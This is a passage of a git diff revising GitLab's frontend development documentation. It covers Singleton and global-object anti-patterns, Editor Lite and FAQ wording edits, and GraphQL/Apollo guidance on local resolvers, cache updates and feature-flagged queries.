[Reference to global Vuex store in IDE](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36401) +- [Docs update to discourage singleton Vuex store](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36952) + +### When could the Shared Global Object pattern be actually appropriate? + +Shared Global Object's solve the problem of making something globally accessible. This pattern +could be appropriate: + +- When a responsibility is truly global and should be referenced across the application + (e.g., an application-wide Event Bus). + +Even in these scenarios, please consider avoiding the Shared Global Object pattern because the +side-effects can be notoriously difficult to reason with. + +### References + +To read more on this topic, check out the following references: + +- [GlobalVariablesAreBad from C2 wiki](https://wiki.c2.com/?GlobalVariablesAreBad) + +## Singleton (Anti-pattern) + +The classic [Singleton pattern](https://en.wikipedia.org/wiki/Singleton_pattern) is an approach to ensure that only one +instance of a thing exists. + +Here's an example of this pattern: + +```javascript +class MyThing { + constructor() { + // ... + } + + // ... +} + +MyThing.instance = null; + +export const getThingInstance = () => { + if (MyThing.instance) { + return MyThing.instance; + } + + const instance = new MyThing(); + MyThing.instance = instance; + return instance; +}; +``` + +### What problems do Singletons cause? + +It is a big assumption that only one instance of a thing should exist. More often than not, +a Singleton is misused and causes very tight coupling amongst itself and the modules that reference it. + +Here are some historic examples where this pattern was identified to be problematic: + +- [Test issues caused by singleton class in IDE](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30398#note_331174190) +- [Implicit Singleton created by module's shared variables](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/merge_requests/97#note_417515776) +- [Complexity caused by Singletons](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29461#note_324585814) + +Here are some ills that Singletons often produce: + +1. **Non-deterministic tests.** Singletons encourage non-deterministic tests because the single instance is shared across + individual tests, often causing the state of one test to bleed into another. +1. **High coupling.** Under the hood, clients of a singleton class all share a single specific + instance of an object, which means this pattern inherits all the [problems of Shared Global Object](#what-problems-do-shared-global-objects-cause) + such as no clear ownership and no access control. These leads to high coupling situations that can + be buggy and difficult to untangle. +1. **Infectious.** Singletons are infectious, especially when they manage state. Consider the component + [RepoEditor](https://gitlab.com/gitlab-org/gitlab/blob/27ad6cb7b76430fbcbaf850df68c338d6719ed2b/app%2Fassets%2Fjavascripts%2Fide%2Fcomponents%2Frepo_editor.vue#L0-1) + used in the Web IDE. This component interfaces with a Singleton [Editor](https://gitlab.com/gitlab-org/gitlab/blob/862ad57c44ec758ef3942ac2e7a2bd40a37a9c59/app%2Fassets%2Fjavascripts%2Fide%2Flib%2Feditor.js#L21) + which manages some state for working with Monaco. Because of the Singleton nature of the Editor class, + the component `RepoEditor` is now forced to be a Singleton as well. Multiple instances of this component + would cause production issues because no one truly owns the instance of `Editor`. + +### Why is the Singleton pattern popular in other languages like Java? + +This is because of the limitations of languages like Java where everything has to be wrapped +in a class. In JavaScript we have things like object and function literals where we can solve +many problems with a module that simply exports utility functions. + +### When could the Singleton pattern be actually appropriate?** + +Singletons solve the problem of enforcing there to be only 1 instance of a thing. It's possible +that a Singleton could be appropriate in the following rare cases: + +- We need to manage some resource that **MUST** have just 1 instance (i.e. some hardware restriction). +- There is a real [cross-cutting concern](https://en.wikipedia.org/wiki/Cross-cutting_concern) (e.g., logging) and a Singleton provides the simplest API. + +Even in these scenarios, please consider avoiding the Singleton pattern. + +### What alternatives are there to the Singleton pattern? + +#### Utility Functions + +When no state needs to be managed, we can simply export utility functions from a module without +messing with any class instantiation. + +```javascript +// bad - Singleton +export class ThingUtils { + static create() { + if(this.instance) { + return this.instance; + } + + this.instance = new ThingUtils(); + return this.instance; + } + + bar() { /* ... */ } + + fuzzify(id) { /* ... */ } +} + +// good - Utility functions +export const bar = () => { /* ... */ }; + +export const fuzzify = (id) => { /* ... */ }; +``` + +#### Dependency Injection + +[Dependency Injection](https://en.wikipedia.org/wiki/Dependency_injection) is an approach which breaks +coupling by declaring a module's dependencies to be injected from outside the module (e.g., through constructor parameters, a bona-fide Dependency Injection framework, and even Vue's `provide/inject`). + +```javascript +// bad - Vue component coupled to Singleton +export default { + created() { + this.mediator = MyFooMediator.getInstance(); + }, +}; + +// good - Vue component declares dependency +export default { + inject: ['mediator'] +}; +``` + +```javascript +// bad - We're not sure where the singleton is in it's lifecycle so we init it here. +export class Foo { + constructor() { + Bar.getInstance().init(); + } + + stuff() { + return Bar.getInstance().doStuff(); + } +} + +// good - Lets receive this dependency as a constructor argument. +// It's also not our responsibility to manage the lifecycle. +export class Foo { + constructor(bar) { + this.bar = bar; + } + + stuff() { + return this.bar.doStuff(); + } +} +``` + +In this example, the lifecycle and implementation details of `mediator` are all managed +**outside** the component (most likely the page entrypoint). diff --git a/doc/development/fe_guide/design_patterns.md b/doc/development/fe_guide/design_patterns.md index 784612682f8..c769d0767e7 100644 --- a/doc/development/fe_guide/design_patterns.md +++ b/doc/development/fe_guide/design_patterns.md @@ -6,79 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Design Patterns -## Singletons +The following design patterns are suggested approaches for solving common problems. Use discretion when evaluating +if a certain pattern makes sense in your situation. Just because it is a pattern, doesn't mean it is a good one for your problem. -When exactly one object is needed for a given task, prefer to define it as a -`class` rather than as an object literal. Prefer also to explicitly restrict -instantiation, unless flexibility is important (e.g. for testing). +**Please note:** When adding a design pattern to this document, be sure to clearly state the **problem it solves**. -```javascript -// bad +## TBD -const MyThing = { - prop1: 'hello', - method1: () => {} -}; - -export default MyThing; - -// good - -class MyThing { - constructor() { - this.prop1 = 'hello'; - } - method1() {} -} - -export default new MyThing(); - -// best - -export default class MyThing { - constructor() { - if (!MyThing.prototype.singleton) { - this.init(); - MyThing.prototype.singleton = this; - } - return MyThing.prototype.singleton; - } - - init() { - this.prop1 = 'hello'; - } - - method1() {} -} - -``` - -## Manipulating the DOM in a JS Class - -When writing a class that needs to manipulate the DOM guarantee a container option is provided. -This is useful when we need that class to be instantiated more than once in the same page. - -Bad: - -```javascript -class Foo { - constructor() { - document.querySelector('.bar'); - } -} -new Foo(); -``` - -Good: - -```javascript -class Foo { - constructor(opts) { - document.querySelector(`${opts.container} .bar`); - } -} - -new Foo({ container: '.my-element' }); -``` - -You can find an example of the above in this [class](https://gitlab.com/gitlab-org/gitlab/blob/master/app/assets/javascripts/mini_pipeline_graph_dropdown.js); +Stay tuned! diff --git a/doc/development/fe_guide/development_process.md b/doc/development/fe_guide/development_process.md index d122459f51c..b85ed4da442 100644 --- a/doc/development/fe_guide/development_process.md +++ b/doc/development/fe_guide/development_process.md @@ -12,9 +12,9 @@ You can find more about the organization of the frontend team in the [handbook]( The idea is to remind us about specific topics during the time we build a new feature or start something. This is a common practice in other industries (like pilots) that also use standardized checklists to reduce problems early on. -Copy the content over to your issue or merge request and if something doesn't apply simply remove it from your current list. +Copy the content over to your issue or merge request and if something doesn't apply, remove it from your current list. -This checklist is intended to help us during development of bigger features/refactorings, it's not a "use it always and every point always matches" list. +This checklist is intended to help us during development of bigger features/refactorings. It is not a "use it always and every point always matches" list. Please use your best judgment when to use it and please contribute new points through merge requests if something comes to your mind. @@ -77,7 +77,7 @@ With the purpose of being [respectful of others' time](https://about.gitlab.com/ - includes tests - includes a changelog entry (when necessary) - Before assigning to a maintainer, assign to a reviewer. -- If you assigned a merge request or pinged someone directly, be patient because we work in different timezones and asynchronously. Unless the merge request is urgent (like fixing a broken master), please don't DM or reassign the merge request before waiting for a 24-hour window. +- If you assigned a merge request or pinged someone directly, be patient because we work in different timezones and asynchronously. Unless the merge request is urgent (like fixing a broken default branch), please don't DM or reassign the merge request before waiting for a 24-hour window. - If you have a question regarding your merge request/issue, make it on the merge request/issue. When we DM each other, we no longer have a SSOT and [no one else is able to contribute](https://about.gitlab.com/handbook/values/#public-by-default). - When you have a big **Draft** merge request with many changes, you're advised to get the review started before adding/removing significant code. Make sure it is assigned well before the release cut-off, as the reviewer(s)/maintainer(s) would always prioritize reviewing finished MRs before the **Draft** ones. - Make sure to remove the `Draft:` title before the last round of review. diff --git a/doc/development/fe_guide/dropdowns.md b/doc/development/fe_guide/dropdowns.md deleted file mode 100644 index bd2dae13c5b..00000000000 --- a/doc/development/fe_guide/dropdowns.md +++ /dev/null @@ -1,3 +0,0 @@ ---- -redirect_to: 'https://design.gitlab.com/components/dropdown/' ---- diff --git a/doc/development/fe_guide/editor_lite.md b/doc/development/fe_guide/editor_lite.md index 47ef85d8737..f783a97fbd3 100644 --- a/doc/development/fe_guide/editor_lite.md +++ b/doc/development/fe_guide/editor_lite.md @@ -8,13 +8,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## Background -**Editor Lite** is a technological product driving [Web Editor](../../user/project/repository/web_editor.md), [Snippets](../../user/snippets.md), [CI Linter](../../ci/lint.md), etc. Editor Lite is the driving technology for any single-file editing experience across the product. +**Editor Lite** is a technological product driving features like [Web Editor](../../user/project/repository/web_editor.md), [Snippets](../../user/snippets.md), and [CI Linter](../../ci/lint.md). Editor Lite is the driving technology for any single-file editing experience across the product. Editor Lite is a thin wrapper around [the Monaco editor](https://microsoft.github.io/monaco-editor/index.html) that provides the necessary helpers and abstractions and extends Monaco using extensions. ## How to use Editor Lite -Editor Lite is framework-agnostic and can be used in any application, whether it's Rails or Vue. For the convenience of integration, we have [the dedicated `<editor-lite>` Vue component](#vue-component), but in general, the integration of Editor Lite is pretty straightforward: +Editor Lite is framework-agnostic and can be used in any application, whether it's Rails or Vue. For the convenience of integration, we have the dedicated `<editor-lite>` Vue component, but in general, the integration of Editor Lite is pretty straightforward: 1. Import Editor Lite: @@ -65,7 +65,7 @@ The editor follows the same public API as [provided by Monaco editor](https://mi 1. Editor's loading state. -Editor Lite comes with the loading state built-in, making spinners and loaders rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading` property on the HTML element that is supposed to contain the editor. Editor Lite will show the loader automatically while it's bootstrapping. +Editor Lite comes with the loading state built-in, making spinners and loaders rarely needed in HTML. To benefit the built-in loading state, set the `data-editor-loading` property on the HTML element that is supposed to contain the editor. Editor Lite shows the loader automatically while it's bootstrapping.  1. Update syntax highlighting if the filename changes. @@ -89,7 +89,7 @@ form.addEventListener('submit', () => { 1. Performance -Even though Editor Lite itself is extremely slim, it still depends on Monaco editor. Monaco is not an easily tree-shakeable module. Hence, every time you add Editor Lite to a view, the JavaScript bundle's size significantly increases, affecting your view's loading performance. To avoid that, it is recommended to import the editor on demand on those views where it is not 100% certain that the editor will be used. Or if the editor is a secondary element of the view. Loading Editor Lite on demand is no different from loading any other module: +Even though Editor Lite itself is extremely slim, it still depends on Monaco editor. Monaco is not an easily tree-shakeable module. Hence, every time you add Editor Lite to a view, the JavaScript bundle's size significantly increases, affecting your view's loading performance. It is recommended to import the editor on demand on those views where it is not 100% certain that the editor is needed. Or if the editor is a secondary element of the view. Loading Editor Lite on demand is no different from loading any other module: ```javascript someActionFunction() { @@ -109,8 +109,8 @@ which would not depend on any particular group. Even though the Editor Lite's co [Create::Editor FE Team](https://about.gitlab.com/handbook/engineering/development/dev/create-editor/), the main functional elements — extensions — can be owned by any group. Editor Lite extensions' main idea is that the core of the editor remains very slim and stable. At the same time, whatever new functionality -is needed can be added as an extension to this core, without touching the core itself. It allows any group -to build and own any new editing functionality without being afraid of it being broken or overridden with +is needed can be added as an extension to this core, without touching the core itself. Any group is allowed +to build and own new editing functionality without being afraid of it being broken or overridden with the Editor Lite changes. Structurally, the complete implementation of Editor Lite could be presented as the following diagram: @@ -145,7 +145,7 @@ Important things to note here: ### Using an existing extension -Adding an extension to Editor Lite's instance is simple: +Adding an extension to Editor Lite's instance requires the following steps: ```javascript import EditorLite from '~/editor/editor_lite'; @@ -159,7 +159,7 @@ editor.use(MyExtension); ### Creating an extension -Let's create our first Editor Lite extension. As aforementioned, extensions are ES6 modules exporting the simple `Object` that is used to extend Editor Lite's functionality. As the most straightforward test, let's create an extension that extends Editor Lite with a new function that, when called, will output editor's content in `alert`. +Let's create our first Editor Lite extension. Extensions are ES6 modules exporting a basic `Object` that is used to extend Editor Lite's functionality. As a test, let's create an extension that extends Editor Lite with a new function that, when called, outputs editor's content in `alert`. `~/my_folder/my_fancy_extension.js:` @@ -225,7 +225,3 @@ Just pass the array of extensions to your `use` method: ```javascript editor.use([FileTemplateExtension, MyFancyExtension]); ``` - -## <a id="vue-component"></a>`<editor-lite>` Vue component - -TBD diff --git a/doc/development/fe_guide/emojis.md b/doc/development/fe_guide/emojis.md index 7151e2ffeee..2dedbc8f19d 100644 --- a/doc/development/fe_guide/emojis.md +++ b/doc/development/fe_guide/emojis.md @@ -25,7 +25,7 @@ when your platform does not support it. - `app/assets/images/emoji.png` - `app/assets/images/emoji@2x.png` 1. Ensure you see new individual images copied into `app/assets/images/emoji/` - 1. Ensure you can see the new emojis and their aliases in the GFM Autocomplete + 1. Ensure you can see the new emojis and their aliases in the GitLab Flavored Markdown (GFM) Autocomplete 1. Ensure you can see the new emojis and their aliases in the award emoji menu 1. You might need to add new emoji Unicode support checks and rules for platforms that do not support a certain emoji and we need to fallback to an image. diff --git a/doc/development/fe_guide/frontend_faq.md b/doc/development/fe_guide/frontend_faq.md index 9612f604b56..bf1dae6e7bd 100644 --- a/doc/development/fe_guide/frontend_faq.md +++ b/doc/development/fe_guide/frontend_faq.md @@ -21,7 +21,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w ## FAQ -### 1. How do I find the Rails route for a page? +### 1. How does one find the Rails route for a page? #### Check the 'page' data attribute @@ -36,7 +36,7 @@ Find here the [source code setting the attribute](https://gitlab.com/gitlab-org/ #### Rails routes -The `rake routes` command can be used to list all the routes available in the application, piping the output into `grep`, we can perform a search through the list of available routes. +The `rake routes` command can be used to list all the routes available in the application. Piping the output into `grep`, we can perform a search through the list of available routes. The output includes the request types available, route parameters and the relevant controller. ```shell @@ -46,13 +46,13 @@ bundle exec rake routes | grep "issues" ### 2. `modal_copy_button` vs `clipboard_button` The `clipboard_button` uses the `copy_to_clipboard.js` behavior, which is -initialized on page load, so if there are vue-based clipboard buttons that -don't exist at page load (such as ones in a `GlModal`), they do not have the +initialized on page load. Vue clipboard buttons that +don't exist at page load (such as ones in a `GlModal`) do not have click handlers associated with the clipboard package. -`modal_copy_button` was added that manages an instance of the +`modal_copy_button` manages an instance of the [`clipboard` plugin](https://www.npmjs.com/package/clipboard) specific to -the instance of that component, which means that clipboard events are +the instance of that component. This means that clipboard events are bound on mounting and destroyed when the button is, mitigating the above issue. It also has bindings to a particular container or modal ID available, to work with the focus trap created by our GlModal. @@ -60,7 +60,7 @@ available, to work with the focus trap created by our GlModal. ### 3. A `gitlab-ui` component not conforming to [Pajamas Design System](https://design.gitlab.com/) Some [Pajamas Design System](https://design.gitlab.com/) components implemented in -`gitlab-ui` do not conform with the design system specs because they lack some +`gitlab-ui` do not conform with the design system specs. This is because they lack some planned features or are not correctly styled yet. In the Pajamas website, a banner on top of the component examples indicates that: @@ -77,18 +77,17 @@ It makes codebase unified and more comfortable to maintain/refactor in the futur Ensure a [Product Designer](https://about.gitlab.com/company/team/?department=ux-department) reviews the use of the non-conforming component as part of the MR review. Make a -follow up issue and attach it to the component implementation epic found within the +follow up issue and attach it to the component implementation epic found in the [Components of Pajamas Design System epic](https://gitlab.com/groups/gitlab-org/-/epics/973). ### 4. My submit form button becomes disabled after submitting -If you are using a submit button inside a form and you attach an `onSubmit` event listener on the form element, [this piece of code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. -To avoid this behavior, add the class `js-no-auto-disable` to the button. +A Submit button inside of a form attaches an `onSubmit` event listener on the form element. [This code](https://gitlab.com/gitlab-org/gitlab/blob/794c247a910e2759ce9b401356432a38a4535d49/app/assets/javascripts/main.js#L225) adds a `disabled` class selector to the submit button when the form is submitted. To avoid this behavior, add the class `js-no-auto-disable` to the button. -### 5. Should I use a full URL (i.e. `gon.gitlab_url`) or a full path (i.e. `gon.relative_url_root`) when referencing backend endpoints? +### 5. Should one use a full URL (for example `gon.gitlab_url`) or a full path (for example `gon.relative_url_root`) when referencing backend endpoints? -It's preferred to use a **full path** over a **full URL** because the URL uses the hostname configured with -GitLab which may not match the request. This causes [CORS issues like this Web IDE one](https://gitlab.com/gitlab-org/gitlab/-/issues/36810). +It's preferred to use a **full path** over a **full URL**. This is because the URL uses the hostname configured with +GitLab which may not match the request. This causes [cross-origin resource sharing issues like this Web IDE example](https://gitlab.com/gitlab-org/gitlab/-/issues/36810). Example: @@ -117,7 +116,7 @@ Example: ### 6. How should the Frontend reference Backend paths? -We prefer not to add extra coupling by hardcoding paths. If possible, +We prefer not to add extra coupling by hard-coding paths. If possible, add these paths as data attributes to the DOM element being referenced in the JavaScript. Example: @@ -153,7 +152,7 @@ export const fetchFoos = ({ state }) => { }; ``` -### 7. How can I test the production build locally? +### 7. How can one test the production build locally? Sometimes it's necessary to test locally what the frontend production build would produce, to do so the steps are: @@ -161,7 +160,7 @@ Sometimes it's necessary to test locally what the frontend production build woul 1. Open `gitlab.yaml` located in your `gitlab` installation folder, scroll down to the `webpack` section and change `dev_server` to `enabled: false`. 1. Run `yarn webpack-prod && gdk restart rails-web`. -The production build takes a few minutes to be completed; any code changes at this point are +The production build takes a few minutes to be completed. Any code changes at this point are displayed only after executing the item 3 above again. To return to the normal development mode: @@ -176,8 +175,8 @@ To return to the normal development mode: > [Introduced](https://gitlab.com/gitlab-org/gitlab/issues/28837) in GitLab 12.8. GitLab has enabled the Babel `preset-env` option -[`useBuiltIns: 'usage'`](https://babeljs.io/docs/en/babel-preset-env#usebuiltins-usage), -which adds the appropriate `core-js` polyfills once for each JavaScript feature +[`useBuiltIns: 'usage'`](https://babeljs.io/docs/en/babel-preset-env#usebuiltins-usage). +This adds the appropriate `core-js` polyfills once for each JavaScript feature we're using that our target browsers don't support. You don't need to add `core-js` polyfills manually. @@ -199,3 +198,7 @@ To see what polyfills are being used: which polyfills are being loaded and where:  + +### 9. Why is my page broken in dark mode? + +See [dark mode docs](dark_mode.md) diff --git a/doc/development/fe_guide/graphql.md b/doc/development/fe_guide/graphql.md index cbaa648570c..a53d9fee029 100644 --- a/doc/development/fe_guide/graphql.md +++ b/doc/development/fe_guide/graphql.md @@ -18,34 +18,46 @@ info: "See the Technical Writers assigned to Development Guidelines: https://abo **GraphQL at GitLab**: -- [🎬 GitLab Unfiltered GraphQL playlist](https://www.youtube.com/watch?v=wHPKZBDMfxE&list=PL05JrBw4t0KpcjeHjaRMB7IGB2oDWyJzv) -- [🎬 GraphQL at GitLab: Deep Dive](../api_graphql_styleguide.md#deep-dive) (video) by Nick Thomas +<!-- vale gitlab.Spelling = NO --> + +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [GitLab Unfiltered GraphQL playlist](https://www.youtube.com/watch?v=wHPKZBDMfxE&list=PL05JrBw4t0KpcjeHjaRMB7IGB2oDWyJzv) +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [GraphQL at GitLab: Deep Dive](../api_graphql_styleguide.md#deep-dive) (video) by Nick Thomas - An overview of the history of GraphQL at GitLab (not frontend-specific) -- [🎬 GitLab Feature Walkthrough with GraphQL and Vue Apollo](https://www.youtube.com/watch?v=6yYp2zB7FrM) (video) by Natalia Tepluhina +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [GitLab Feature Walkthrough with GraphQL and Vue Apollo](https://www.youtube.com/watch?v=6yYp2zB7FrM) (video) by Natalia Tepluhina - A real-life example of implementing a frontend feature in GitLab using GraphQL -- [🎬 History of client-side GraphQL at GitLab](https://www.youtube.com/watch?v=mCKRJxvMnf0) (video) Illya Klymov and Natalia Tepluhina -- [🎬 From Vuex to Apollo](https://www.youtube.com/watch?v=9knwu87IfU8) (video) by Natalia Tepluhina - - A useful overview of when Apollo might be a better choice than Vuex, and how one could go about the transition +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [History of client-side GraphQL at GitLab](https://www.youtube.com/watch?v=mCKRJxvMnf0) (video) Illya Klymov and Natalia Tepluhina +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [From Vuex to Apollo](https://www.youtube.com/watch?v=9knwu87IfU8) (video) by Natalia Tepluhina + - An overview of when Apollo might be a better choice than Vuex, and how one could go about the transition - [🛠 Vuex -> Apollo Migration: a proof-of-concept project](https://gitlab.com/ntepluhina/vuex-to-apollo/blob/master/README.md) - A collection of examples that show the possible approaches for state management with Vue+GraphQL+(Vuex or Apollo) apps +<!-- vale gitlab.Spelling = YES --> + ### Libraries We use [Apollo](https://www.apollographql.com/) (specifically [Apollo Client](https://www.apollographql.com/docs/react/)) and [Vue Apollo](https://github.com/vuejs/vue-apollo) when using GraphQL for frontend development. -If you are using GraphQL within a Vue application, the [Usage in Vue](#usage-in-vue) section +If you are using GraphQL in a Vue application, the [Usage in Vue](#usage-in-vue) section can help you learn how to integrate Vue Apollo. For other use cases, check out the [Usage outside of Vue](#usage-outside-of-vue) section. +<!-- vale gitlab.Spelling = NO --> + We use [Immer](https://immerjs.github.io/immer/docs/introduction) for immutable cache updates; see [Immutability and cache updates](#immutability-and-cache-updates) for more information. +<!-- vale gitlab.Spelling = YES --> + ### Tooling +<!-- vale gitlab.Spelling = NO --> + - [Apollo Client Devtools](https://github.com/apollographql/apollo-client-devtools) +<!-- vale gitlab.Spelling = YES --> + #### [Apollo GraphQL VS Code extension](https://marketplace.visualstudio.com/items?itemName=apollographql.vscode-apollo) If you use VS Code, the Apollo GraphQL extension supports autocompletion in `.graphql` files. To set up @@ -76,7 +88,7 @@ Our GraphQL API can be explored via GraphiQL at your instance's where needed. You can check all existing queries and mutations on the right side -of GraphiQL in its **Documentation explorer**. It's also possible to +of GraphiQL in its **Documentation explorer**. You can also write queries and mutations directly on the left tab and check their execution by clicking **Execute query** button on the top left: @@ -93,8 +105,8 @@ Default client accepts two parameters: `resolvers` and `config`. - `resolvers` parameter is created to accept an object of resolvers for [local state management](#local-state-with-apollo) queries and mutations - `config` parameter takes an object of configuration settings: - `cacheConfig` field accepts an optional object of settings to [customize Apollo cache](https://www.apollographql.com/docs/react/caching/cache-configuration/#configuring-the-cache) - - `baseUrl` allows us to pass a URL for GraphQL endpoint different from our main endpoint (i.e.`${gon.relative_url_root}/api/graphql`) - - `assumeImmutableResults` (set to `false` by default) - this setting, when set to `true`, will assume that every single operation on updating Apollo Cache is immutable. It also sets `freezeResults` to `true`, so any attempt on mutating Apollo Cache will throw a console warning in development environment. Please ensure you're following the immutability pattern on cache update operations before setting this option to `true`. + - `baseUrl` allows us to pass a URL for GraphQL endpoint different from our main endpoint (for example, `${gon.relative_url_root}/api/graphql`) + - `assumeImmutableResults` (set to `false` by default) - this setting, when set to `true`, assumes that every single operation on updating Apollo Cache is immutable. It also sets `freezeResults` to `true`, so any attempt on mutating Apollo Cache throws a console warning in development environment. Please ensure you're following the immutability pattern on cache update operations before setting this option to `true`. - `fetchPolicy` determines how you want your component to interact with the Apollo cache. Defaults to "cache-first". ## GraphQL Queries @@ -139,7 +151,7 @@ fragment DesignItem on Design { ``` More about fragments: -[GraphQL Docs](https://graphql.org/learn/queries/#fragments) +[GraphQL documentation](https://graphql.org/learn/queries/#fragments) ## Global IDs @@ -157,12 +169,17 @@ const primaryKeyId = getIdFromGraphQLId(data.id); ## Immutability and cache updates -From Apollo version 3.0.0 all the cache updates need to be immutable; it needs to be replaced entirely +From Apollo version 3.0.0 all the cache updates need to be immutable. It needs to be replaced entirely with a **new and updated** object. -To facilitate the process of updating the cache and returning the new object we use the library [Immer](https://immerjs.github.io/immer/docs/introduction). +<!-- vale gitlab.Spelling = NO --> + +To facilitate the process of updating the cache and returning the new object we +use the library [Immer](https://immerjs.github.io/immer/docs/introduction). When possible, follow these conventions: +<!-- vale gitlab.Spelling = YES --> + - The updated cache is named `data`. - The original cache data is named `sourceData`. @@ -184,10 +201,10 @@ client.writeQuery({ ``` As shown in the code example by using `produce`, we can perform any kind of direct manipulation of the -`draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` will be generated. +`draftState`. Besides, `immer` guarantees that a new state which includes the changes to `draftState` is generated. Finally, to verify whether the immutable cache update is working properly, we need to change -`assumeImmutableResults` to `true` in the default client configuration (see [Apollo Client](#apollo-client) for more information). +`assumeImmutableResults` to `true` in the default client configuration. See [Apollo Client](#apollo-client) for more information. If everything is working properly `assumeImmutableResults` should remain set to `true`. @@ -259,11 +276,11 @@ query User { } ``` -Along with creating local data, we can also extend existing GraphQL types with `@client` fields. This is extremely useful when we need to mock an API responses for fields not yet added to our GraphQL API. +Along with creating local data, we can also extend existing GraphQL types with `@client` fields. This is extremely helpful when we need to mock an API response for fields not yet added to our GraphQL API. #### Mocking API response with local Apollo cache -Using local Apollo Cache is handy when we have a need to mock some GraphQL API responses, queries or mutations locally (e.g. when they're still not added to our actual API). +Using local Apollo Cache is helpful when we have a need to mock some GraphQL API responses, queries, or mutations locally (such as when they're still not added to our actual API). For example, we have a [fragment](#fragments) on `DesignVersion` used in our queries: @@ -274,7 +291,7 @@ fragment VersionListItem on DesignVersion { } ``` -We need to fetch also version author and the 'created at' property to display them in the versions dropdown but these changes are still not implemented in our API. We can change the existing fragment to get a mocked response for these new fields: +We also need to fetch the version author and the `created at` property to display in the versions dropdown. But, these changes are still not implemented in our API. We can change the existing fragment to get a mocked response for these new fields: ```javascript fragment VersionListItem on DesignVersion { @@ -288,7 +305,7 @@ fragment VersionListItem on DesignVersion { } ``` -Now Apollo will try to find a _resolver_ for every field marked with `@client` directive. Let's create a resolver for `DesignVersion` type (why `DesignVersion`? because our fragment was created on this type). +Now Apollo tries to find a _resolver_ for every field marked with `@client` directive. Let's create a resolver for `DesignVersion` type (why `DesignVersion`? because our fragment was created on this type). ```javascript // resolvers.js @@ -319,13 +336,13 @@ import resolvers from './graphql/resolvers'; const defaultClient = createDefaultClient(resolvers); ``` -For each attempt to fetch a version, our client will fetch `id` and `sha` from the remote API endpoint and will assign our hardcoded values to the `author` and `createdAt` version properties. With this data, frontend developers are able to work on their UI without being blocked by backend. When the actual response is added to the API, our custom local resolver can be removed and the only change to the query/fragment is to remove the `@client` directive. +For each attempt to fetch a version, our client fetches `id` and `sha` from the remote API endpoint. It then assigns our hardcoded values to the `author` and `createdAt` version properties. With this data, frontend developers are able to work on their UI without being blocked by backend. When the response is added to the API, our custom local resolver can be removed. The only change to the query/fragment is to remove the `@client` directive. Read more about local state management with Apollo in the [Vue Apollo documentation](https://vue-apollo.netlify.app/guide/local-state.html#local-state). ### Using with Vuex -When Apollo Client is used within Vuex and fetched data is stored in the Vuex store, there is no need to keep Apollo Client cache enabled. Otherwise we would have data from the API stored in two places - Vuex store and Apollo Client cache. With Apollo's default settings, a subsequent fetch from the GraphQL API could result in fetching data from Apollo cache (in the case where we have the same query and variables). To prevent this behavior, we need to disable Apollo Client cache by passing a valid `fetchPolicy` option to its constructor: +When the Apollo Client is used in Vuex and fetched data is stored in the Vuex store, the Apollo Client cache does not need to be enabled. Otherwise we would have data from the API stored in two places - Vuex store and Apollo Client cache. With Apollo's default settings, a subsequent fetch from the GraphQL API could result in fetching data from Apollo cache (in the case where we have the same query and variables). To prevent this behavior, we need to disable Apollo Client cache by passing a valid `fetchPolicy` option to its constructor: ```javascript import fetchPolicies from '~/graphql_shared/fetch_policy_constants'; @@ -338,11 +355,61 @@ export const gqClient = createGqClient( ); ``` -### Feature flags in queries +### Working on GraphQL-based features when frontend and backend are not in sync + +Any feature that requires GraphQL queries/mutations to be created or updated should be carefully +planned. Frontend and backend counterparts should agree on a schema that satisfies both client-side and +server-side requirements. This enables both departments to start implementing their parts without +blocking each other. + +Ideally, the backend implementation should be done prior to the frontend so that the client can +immediately start querying the API with minimal back and forth between departments. However, we +recognize that priorities don't always align. For the sake of iteration and +delivering work we're committed to, it might be necessary for the frontend to be implemented ahead +of the backend. + +#### Implementing frontend queries and mutations ahead of the backend -Sometimes it may be useful to have an entity in the GraphQL query behind a feature flag. -For example, when working on a feature where the backend has already been merged but the frontend -hasn't you might want to put the GraphQL entity behind a feature flag to allow for smaller +In such case, the frontend will define GraphQL schemas or fields that do not correspond to any +backend resolver yet. This is fine as long as the implementation is properly feature-flagged so it +does not translate to public-facing errors in the product. However, we do validate client-side +queries/mutations against the backend GraphQL schema with the `graphql-verify` CI job. +You must confirm your changes pass the validation if they are to be merged before the +backend actually supports them. Below are a few suggestions to go about this. + +##### Using the `@client` directive + +The preferred approach is to use the `@client` directive on any new query, mutation, or field that +isn't yet supported by the backend. Any entity with the directive is skipped by the +`graphql-verify` validation job. + +Additionally Apollo will attempt to resolve them client-side, which can be used in conjunction with +[Mocking API response with local Apollo cache](#mocking-api-response-with-local-apollo-cache). This +provides a convenient way of testing your feature with fake data defined client-side. +When opening a merge request for your changes, it can be a good idea to provide local resolvers as a +patch that reviewers can apply in their GDK to easily smoke-test your work. + +Make sure to track the removal of the directive in a follow-up issue, or as part of the backend +implementation plan. + +##### Adding an exception to the list of known failures + +GraphQL queries/mutations validation can be completely turned off for specific files by adding their +paths to the +[`config/known_invalid_graphql_queries.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/known_invalid_graphql_queries.yml) +file, much like you would disable ESLint for some files via an `.eslintignore` file. +Bear in mind that any file listed in here will not be validated at all. So if you're only adding +fields to an existing query, use the `@client` directive approach so that the rest of the query +is still validated. + +Again, make sure that those overrides are as short-lived as possible by tracking their removal in +the appropriate issue. + +#### Feature flags in queries + +Sometimes it may be helpful to have an entity in the GraphQL query behind a feature flag. +One example is working on a feature where the backend has already been merged but the frontend +has not. In this case, you may consider putting the GraphQL entity behind a feature flag to allow smaller merge requests to be created and merged. To do this we can use the `@include` directive to exclude an entity if the `if` statement passes. @@ -355,7 +422,7 @@ query 